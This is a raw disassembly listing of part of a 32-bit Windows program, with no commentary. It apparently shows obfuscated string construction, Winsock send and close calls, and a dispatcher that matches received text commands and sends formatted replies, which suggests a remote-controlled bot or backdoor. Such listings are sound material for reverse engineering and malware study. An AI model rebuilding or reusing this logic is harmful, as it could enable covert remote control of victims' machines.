mov [esp+20h+arg_246C], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+20h+arg_2464]
pop edi
pop esi
pop ebp
xor eax, eax
mov large fs:0, ecx
pop ebx
add esp, 2484h
retn
sub_40FF60 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 90h
db 500h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411860 proc near ; CODE XREF: sub_4010BEj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411860
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401E6A
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_402054
mov ecx, [esp+14h+var_C]
mov dword ptr [esi], offset off_43E038
mov dword ptr [esi+11h], 0
mov byte ptr [esi+0ABh], 0
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411860 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; ---------------------------------------------------------------------------
loc_4118E0: ; CODE XREF: ___:loc_40115Ej
; ___:004016EAj
push esi
mov esi, ecx
call sub_40101E
test byte ptr [esp+8], 1
jz short loc_4118F8
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_4118F8: ; CODE XREF: ___:004118EDj
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411910 proc near ; CODE XREF: sub_40101Ej
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411910
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
mov dword ptr [esi], offset off_43E038
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_40196A
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_402031
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411910 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411990 proc near ; CODE XREF: sub_402054j
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411990
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
call sub_401424
lea ecx, [esi+15h]
mov [esp+14h+var_4], 0
call sub_401424
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401424
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401424
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401424
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401424
lea ecx, [esi+7Eh]
mov byte ptr [esp+14h+var_4], 5
call sub_401424
mov ecx, [esp+14h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411990 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411A50 proc near ; CODE XREF: sub_40196Aj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_411A50
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
mov [esp+14h+var_10], esi
lea ecx, [esi+7Eh]
mov [esp+14h+var_4], 5
call sub_401226
lea ecx, [esi+69h]
mov byte ptr [esp+14h+var_4], 4
call sub_401226
lea ecx, [esi+54h]
mov byte ptr [esp+14h+var_4], 3
call sub_401226
lea ecx, [esi+3Fh]
mov byte ptr [esp+14h+var_4], 2
call sub_401226
lea ecx, [esi+2Ah]
mov byte ptr [esp+14h+var_4], 1
call sub_401226
lea ecx, [esi+15h]
mov byte ptr [esp+14h+var_4], 0
call sub_401226
mov ecx, esi
mov [esp+14h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+14h+var_C]
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_411A50 endp
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411B10 proc near ; CODE XREF: sub_4019D3j
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_40196A
test [esp+4+arg_0], 1
jz short loc_411B28
push esi
call sub_4367E2
; ---------------------------------------------------------------------------
add esp, 4
loc_411B28: ; CODE XREF: sub_411B10+Dj
mov eax, esi
pop esi
retn 4
sub_411B10 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411B40 proc near ; CODE XREF: sub_401A0Aj
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411B40
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
mov esi, ecx
push edi
test esi, esi
jz short loc_411B66
lea edi, [esi+11h]
jmp short loc_411B68
; ---------------------------------------------------------------------------
loc_411B66: ; CODE XREF: sub_411B40+1Fj
xor edi, edi
loc_411B68: ; CODE XREF: sub_411B40+24j
push 0
push 17h
push 1
push 12h
push 4Fh
lea eax, [esp+5Ch+var_3C]
push 9
push eax
call sub_4019B5
add esp, 1Ch
push edi
mov ecx, eax
mov [esp+4Ch+var_4], 0
call sub_4017E4
lea ecx, [esi+250h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
or edi, 0FFFFFFFFh
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411BBC
lea ebx, [esi+11h]
jmp short loc_411BBE
; ---------------------------------------------------------------------------
loc_411BBC: ; CODE XREF: sub_411B40+75j
xor ebx, ebx
loc_411BBE: ; CODE XREF: sub_411B40+7Aj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 5
push 12h
push 4Fh
lea edx, [esp+74h+var_3C]
push 9
push edx
call sub_4019B5
add esp, 34h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 1
call sub_4017E4
push eax
lea eax, [esi+27Eh]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411C1B
lea ebx, [esi+11h]
jmp short loc_411C1D
; ---------------------------------------------------------------------------
loc_411C1B: ; CODE XREF: sub_411B40+D4j
xor ebx, ebx
loc_411C1D: ; CODE XREF: sub_411B40+D9j
push 0
push 14h
push 12h
push 1
push 10h
push 4Fh
lea ecx, [esp+60h+var_3C]
push 9
push ecx
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 2
call sub_4017E4
lea edx, [esi+1C6h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411C70
lea ebx, [esi+11h]
jmp short loc_411C72
; ---------------------------------------------------------------------------
loc_411C70: ; CODE XREF: sub_411B40+129j
xor ebx, ebx
loc_411C72: ; CODE XREF: sub_411B40+12Ej
push 0
push 5
push 4
push 0Fh
push 0Dh
push 4Fh
lea eax, [esp+60h+var_3C]
push 9
push eax
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 3
call sub_4017E4
lea ecx, [esi+16Ah]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411CC5
lea ebx, [esi+11h]
jmp short loc_411CC7
; ---------------------------------------------------------------------------
loc_411CC5: ; CODE XREF: sub_411B40+17Ej
xor ebx, ebx
loc_411CC7: ; CODE XREF: sub_411B40+183j
push 0
push 7
push 13h
push 0Dh
push 4Fh
lea edx, [esp+5Ch+var_3C]
push 9
push edx
call sub_4019B5
add esp, 1Ch
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 4
call sub_4017E4
push eax
lea eax, [esi+1F4h]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411D18
lea ebx, [esi+11h]
jmp short loc_411D1A
; ---------------------------------------------------------------------------
loc_411D18: ; CODE XREF: sub_411B40+1D1j
xor ebx, ebx
loc_411D1A: ; CODE XREF: sub_411B40+1D6j
push 0
push 5
push 3
push 9
push 14h
push 0Fh
push 0Eh
push 4Fh
lea ecx, [esp+68h+var_3C]
push 9
push ecx
call sub_4019B5
add esp, 28h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 5
call sub_4017E4
lea edx, [esi+0B2h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411D71
lea ebx, [esi+11h]
jmp short loc_411D73
; ---------------------------------------------------------------------------
loc_411D71: ; CODE XREF: sub_411B40+22Aj
xor ebx, ebx
loc_411D73: ; CODE XREF: sub_411B40+22Fj
push 0
push 14h
push 3
push 5
push 0Eh
push 0Eh
push 0Fh
push 3
push 13h
push 9
push 4
push 4Fh
lea eax, [esp+78h+var_3C]
push 9
push eax
call sub_4019B5
add esp, 38h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 6
call sub_4017E4
lea ecx, [esi+56h]
push eax
push ecx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411DCF
lea ebx, [esi+11h]
jmp short loc_411DD1
; ---------------------------------------------------------------------------
loc_411DCF: ; CODE XREF: sub_411B40+288j
xor ebx, ebx
loc_411DD1: ; CODE XREF: sub_411B40+28Dj
push 0
push 14h
push 13h
push 0Fh
push 8
push 14h
push 5
push 7
push 4Fh
lea edx, [esp+6Ch+var_3C]
push 9
push edx
call sub_4019B5
add esp, 2Ch
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 7
call sub_4017E4
push eax
lea eax, [esi+10Eh]
push eax
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411E2A
lea ebx, [esi+11h]
jmp short loc_411E2C
; ---------------------------------------------------------------------------
loc_411E2A: ; CODE XREF: sub_411B40+2E3j
xor ebx, ebx
loc_411E2C: ; CODE XREF: sub_411B40+2E8j
push 0
push 0Fh
push 6
push 0Eh
push 9
push 14h
push 5
push 0Eh
push 4Fh
lea ecx, [esp+6Ch+var_3C]
push 9
push ecx
call sub_4019B5
add esp, 2Ch
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 8
call sub_4017E4
lea edx, [esi+198h]
push eax
push edx
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_3C]
mov [esp+48h+var_4], edi
call sub_401226
test esi, esi
jz short loc_411E85
lea ebx, [esi+11h]
jmp short loc_411E87
; ---------------------------------------------------------------------------
loc_411E85: ; CODE XREF: sub_411B40+33Ej
xor ebx, ebx
loc_411E87: ; CODE XREF: sub_411B40+343j
push 0
push 0Eh
push 9
push 0Fh
push 0Ah
push 4Fh
lea eax, [esp+60h+var_24]
push 9
push eax
call sub_4019B5
add esp, 20h
push ebx
mov ecx, eax
mov [esp+4Ch+var_4], 9
call sub_4017E4
add esi, 13Ch
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+48h+var_24]
mov [esp+48h+var_4], edi
call sub_401226
mov ecx, [esp+48h+var_C]
pop edi
pop esi
pop ebx
mov large fs:0, ecx
add esp, 3Ch
retn
sub_411B40 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 0F0h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_411FE0 proc near ; CODE XREF: sub_401AB9j
var_84 = byte ptr -84h
var_6C = byte ptr -6Ch
var_54 = byte ptr -54h
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_411FE0
push eax
mov large fs:0, esp
sub esp, 78h
push ebx
push ebp
push esi
mov esi, [esp+90h+arg_0]
push edi
mov edi, ecx
lea ebx, [esi+7Eh]
lea ecx, [edi+45h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412509
lea ecx, [edi+26Dh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jz loc_412509
lea ecx, [edi+0A1h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4120E2
push offset asc_443600 ; " "
lea eax, [esp+98h+var_6C]
push 2
push eax
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 1
xor ebx, ebx
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 1
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
mov edx, dword_4470F0
push eax
push edx
add edi, 0FFFFFFEFh
push offset dword_443CDC
push edi
call sub_401E0B
add esp, 14h
lea ecx, [esp+94h+var_84]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_4120E2: ; CODE XREF: sub_411FE0+70j
lea ecx, [edi+187h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_412159
add edi, 0FFFFFFEFh
lea eax, [esp+94h+var_6C]
push eax
mov ecx, edi
call sub_401D39
mov ecx, eax
mov [esp+94h+var_4], 2
call sub_4017E4
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014D3
mov cl, [esi+94h]
mov dl, [esi+93h]
push eax
push ecx
push edx
push edi
call sub_401848
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_412159: ; CODE XREF: sub_411FE0+117j
lea ecx, [edi+0FDh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412214
push offset asc_443600 ; " "
lea eax, [esp+98h+var_6C]
push 1
push eax
mov ecx, esi
call sub_4016AE
push eax
lea ecx, [edi+17h]
mov [esp+98h+var_4], 3
call sub_4018A2
or ebp, 0FFFFFFFFh
lea ecx, [esp+94h+var_6C]
mov ebx, eax
mov [esp+94h+var_4], ebp
call sub_401226
test ebx, ebx
jz loc_412532
lea ecx, [esp+94h+var_6C]
add edi, 0FFFFFFEFh
push ecx
mov ecx, edi
call sub_401D39
mov ecx, eax
mov [esp+94h+var_4], 4
call sub_4017E4
push eax
push offset aS ; "%s"
lea ecx, [esi+69h]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
push edi
call sub_401848
add esp, 18h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], ebp
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_412214: ; CODE XREF: sub_411FE0+18Ej
lea ecx, [edi+12Bh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_4122BD
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 2
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea edx, [esp+98h+var_6C]
mov ebx, 5
push 1
push edx
mov ecx, esi
mov [esp+0A0h+var_4], ebx
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 6
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
mov eax, dword_4470F4
push eax
add edi, 0FFFFFFEFh
push offset aSSS_0 ; "%s %s %s\r\n"
push edi
call sub_401E0B
add esp, 14h
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], bl
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_4122BD: ; CODE XREF: sub_411FE0+249j
lea ecx, [edi+1B5h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41232B
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_6C]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ecx, eax
mov [esp+94h+var_4], 7
call sub_4017E4
mov edx, dword_447120
push eax
push edx
add edi, 0FFFFFFEFh
push offset aSS_0 ; "%s %s\r\n"
push edi
call sub_401E0B
add esp, 10h
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41232B: ; CODE XREF: sub_411FE0+2F2j
lea ecx, [edi+23Fh]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz short loc_41238D
lea eax, [esp+94h+var_6C]
push 9
push eax
mov ecx, esi
call sub_401E2E
mov ecx, eax
mov [esp+94h+var_4], 8
call sub_4017E4
push eax
add edi, 0FFFFFFEFh
push offset dword_443CD4
push edi
call sub_401E0B
add esp, 0Ch
lea ecx, [esp+94h+var_6C]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41238D: ; CODE XREF: sub_411FE0+360j
lea ecx, [edi+1E3h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_41242D
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_84]
push 1
push ecx
mov ecx, esi
call sub_4016AE
mov ebp, eax
push 1
push offset asc_443600 ; " "
lea edx, [esp+9Ch+var_6C]
push 2
push edx
mov ecx, esi
mov [esp+0A4h+var_4], 9
call sub_4011EA
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Ah
call sub_4014D3
push eax
mov ecx, esi
call sub_4014D3
xor ebx, ebx
push eax
push ebx
push ebx
lea ecx, [edi-11h]
call sub_401118
lea ecx, [esp+94h+var_6C]
mov byte ptr [esp+94h+var_4], 9
call sub_401226
lea ecx, [esp+94h+var_84]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp loc_412532
; ---------------------------------------------------------------------------
loc_41242D: ; CODE XREF: sub_411FE0+3C2j
lea ecx, [edi+159h]
call sub_4017E4
push eax
mov ecx, ebx
call sub_4012EE
test eax, eax
jnz loc_412532
push offset asc_443600 ; " "
lea eax, [esp+98h+var_24]
push 3
push eax
mov ecx, esi
call sub_4016AE
mov ebp, eax
push offset asc_443600 ; " "
lea ecx, [esp+98h+var_3C]
push 2
push ecx
mov ecx, esi
mov [esp+0A0h+var_4], 0Bh
call sub_4016AE
mov ebx, eax
push offset asc_443600 ; " "
lea edx, [esp+98h+var_54]
push 1
push edx
mov ecx, esi
mov byte ptr [esp+0A0h+var_4], 0Ch
call sub_4016AE
mov esi, eax
mov ecx, ebp
mov byte ptr [esp+94h+var_4], 0Dh
call sub_4017E4
push eax
mov ecx, ebx
call sub_4017E4
push eax
mov ecx, esi
call sub_4017E4
push eax
mov eax, dword_447124
push eax
add edi, 0FFFFFFEFh
push offset dword_443CC4
push edi
call sub_401E0B
add esp, 18h
lea ecx, [esp+94h+var_54]
mov byte ptr [esp+94h+var_4], 0Ch
call sub_401226
lea ecx, [esp+94h+var_3C]
mov byte ptr [esp+94h+var_4], 0Bh
call sub_401226
lea ecx, [esp+94h+var_24]
mov [esp+94h+var_4], 0FFFFFFFFh
call sub_401226
jmp short loc_412532
; ---------------------------------------------------------------------------
loc_412509: ; CODE XREF: sub_411FE0+3Aj
; sub_411FE0+55j
xor ebx, ebx
mov [edi+0Fh], ebx
mov [edi+0Bh], ebx
mov [edi+5], bl
mov [edi+4], bl
mov ecx, [edi+7]
push ecx
nop
call near ptr 71AB9639h
mov ecx, offset word_448C8E
mov dword ptr [edi+7], 0FFFFFFFFh
call sub_401537
loc_412532: ; CODE XREF: sub_411FE0+FDj
; sub_411FE0+174j ...
mov ecx, [esp+94h+var_C]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
mov large fs:0, ecx
add esp, 84h
retn 4
sub_411FE0 endp
; ---------------------------------------------------------------------------
db 90h
db 160h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4126B0 proc near ; CODE XREF: sub_401D39j
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4126B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 40h
push esi
mov esi, ecx
lea ecx, [esp+50h+var_24]
mov [esp+50h+var_48], 0
call sub_401424
xor eax, eax
lea ecx, [esp+50h+var_4C]
mov [esp+50h+var_44], eax
lea edx, [esp+50h+var_44]
mov [esp+50h+var_40], eax
push ecx
mov [esp+54h+var_3C], eax
push edx
mov [esp+58h+var_38], eax
mov eax, [esi+18h]
push eax
mov [esp+5Ch+var_4], 1
mov [esp+5Ch+var_4C], 10h
nop
call near ptr 71AB951Eh
mov ecx, [esp+50h+var_40+3]
mov edx, [esp+50h+var_40+2]
mov eax, [esp+50h+var_40+1]
and ecx, 0FFh
push ecx
mov ecx, [esp+54h+var_40]
and edx, 0FFh
and eax, 0FFh
push edx
and ecx, 0FFh
push eax
push ecx
lea edx, [esp+60h+var_34]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push edx
nop
call sub_5EA1BD
add esp, 18h
lea ecx, [esp+50h+var_24]
push offset byte_446F60
call sub_4015D7
push offset dword_443D08
lea ecx, [esp+54h+var_24]
call sub_401A9B
lea eax, [esp+50h+var_34]
lea ecx, [esp+50h+var_24]
push eax
call sub_401A9B
push offset dword_443D04
lea ecx, [esp+54h+var_24]
call sub_401A9B
add esi, 28h
lea ecx, [esp+50h+var_24]
push esi
call sub_4016BD
push offset dword_443D04
lea ecx, [esp+54h+var_24]
call sub_401A9B
lea ecx, [esp+50h+var_34]
push ecx
call sub_401479
add esp, 4
test al, al
jz short loc_4127BB
push offset dword_443CF8
jmp short loc_4127C0
; ---------------------------------------------------------------------------
loc_4127BB: ; CODE XREF: sub_4126B0+102j
push offset dword_443CEC
loc_4127C0: ; CODE XREF: sub_4126B0+109j
lea ecx, [esp+54h+var_24]
call sub_401A9B
mov esi, [esp+50h+arg_0]
lea edx, [esp+50h+var_24]
push edx
mov ecx, esi
call sub_4014C9
mov [esp+50h+var_48], 1
lea ecx, [esp+50h+var_24]
mov byte ptr [esp+50h+var_4], 0
call sub_401226
mov ecx, [esp+50h+var_C]
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 4Ch
retn 4
sub_4126B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 60h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412870 proc near ; CODE XREF: sub_401582j
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
push esi
mov esi, ecx
push edi
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
mov eax, [esi+18h]
push 0
not ecx
dec ecx
push ecx
push ebp
push eax
nop
call near ptr 71AB428Ah
mov edx, eax
mov edi, ebp
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
dec ecx
cmp edx, ecx
jnb short loc_4128CE
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_448C8E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401537
pop edi
pop esi
xor al, al
pop ebp
retn 4
; ---------------------------------------------------------------------------
loc_4128CE: ; CODE XREF: sub_412870+33j
pop edi
pop esi
mov al, 1
pop ebp
retn 4
sub_412870 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412900 proc near ; CODE XREF: sub_401E0Bj
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = byte ptr 200Ch
mov eax, 2000h
call sub_436840
mov ecx, [esp+arg_2004]
lea eax, [esp+arg_2008]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov ecx, [esp+10h+arg_2000]
add esp, 10h
lea eax, [esp+0]
push eax
call sub_401582
add esp, 2000h
retn
sub_412900 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412970 proc near ; CODE XREF: sub_401118j
var_3C = byte ptr -3Ch
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = byte ptr 4
arg_4 = byte ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
mov eax, large fs:0
push 0FFFFFFFFh
push offset SEH_412970
push eax
mov al, [esp+0Ch+arg_0]
mov large fs:0, esp
sub esp, 30h
test al, al
push esi
mov esi, ecx
jz short loc_4129A7
xor al, al
pop esi
mov ecx, [esp+3Ch+var_C]
mov large fs:0, ecx
add esp, 3Ch
retn 10h
; ---------------------------------------------------------------------------
loc_4129A7: ; CODE XREF: sub_412970+21j
lea ecx, [esp+40h+var_3C]
call sub_401424
mov al, [esp+40h+arg_4]
mov [esp+40h+var_4], 0
test al, al
jz short loc_4129C8
mov eax, dword_4470F0
push eax
jmp short loc_4129CF
; ---------------------------------------------------------------------------
loc_4129C8: ; CODE XREF: sub_412970+4Ej
mov ecx, dword_4470F8
push ecx
loc_4129CF: ; CODE XREF: sub_412970+56j
lea ecx, [esp+44h+var_3C]
call sub_4015D7
push ebx
lea ecx, [esp+44h+var_24]
call sub_401424
mov edx, [esp+44h+arg_8]
mov eax, [esp+44h+arg_C]
push edx
push eax
lea ecx, [esp+4Ch+var_3C]
mov byte ptr [esp+4Ch+var_4], 1
call sub_4017E4
push eax
lea ecx, [esp+50h+var_24]
push offset dword_443CDC
push ecx
call sub_40102D
add esp, 14h
lea ecx, [esp+44h+var_24]
call sub_4014D3
push eax
mov ecx, esi
call sub_401582
lea ecx, [esp+44h+var_24]
mov bl, al
mov byte ptr [esp+44h+var_4], 0
call sub_401226
lea ecx, [esp+44h+var_3C]
mov [esp+44h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+44h+var_C]
mov al, bl
pop ebx
pop esi
mov large fs:0, ecx
add esp, 3Ch
retn 10h
sub_412970 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 40h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412AA0 proc near ; CODE XREF: sub_401848j
arg_2000 = dword ptr 2004h
arg_2004 = dword ptr 2008h
arg_2008 = dword ptr 200Ch
arg_200C = dword ptr 2010h
arg_2010 = dword ptr 2014h
arg_2014 = byte ptr 2018h
mov eax, 2000h
call sub_436840
mov ecx, [esp+arg_2010]
lea eax, [esp+arg_2014]
push eax
push ecx
lea edx, [esp+8]
push 2000h
push edx
nop
call near ptr 77C3FF8Ah
mov eax, [esp+10h+arg_200C]
mov edx, [esp+10h+arg_2008]
add esp, 10h
lea ecx, [esp+0]
push eax
mov eax, [esp+4+arg_2004]
push ecx
mov ecx, [esp+8+arg_2000]
push edx
push eax
call sub_401118
add esp, 2000h
retn
sub_412AA0 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 3 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B20 proc near ; CODE XREF: sub_401D0Cj
push esi
mov esi, ecx
call sub_401FB9
mov eax, [esi+1Ch]
inc eax
mov [esi+1Ch], eax
pop esi
retn
sub_412B20 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B50 proc near ; CODE XREF: sub_401FB9j
push esi
mov esi, ecx
xor al, al
mov [esi+16h], al
mov [esi+15h], al
mov eax, [esi+18h]
push eax
nop
call near ptr 71AB9639h
mov ecx, offset word_448C8E
mov dword ptr [esi+18h], 0FFFFFFFFh
call sub_401537
pop esi
retn
sub_412B50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_412B90 proc near ; CODE XREF: sub_401721j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov dl, [ecx]
xor ecx, ecx
mov [eax], dl
mov [eax+4], ecx
mov [eax+8], ecx
mov [eax+0Ch], ecx
retn 4
sub_412B90 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_412BC0 proc near ; CODE XREF: sub_401B54j
push esi
mov esi, ecx
mov eax, [esi+8]
mov ecx, [esi+4]
push eax
push ecx
mov ecx, esi
call sub_40170D
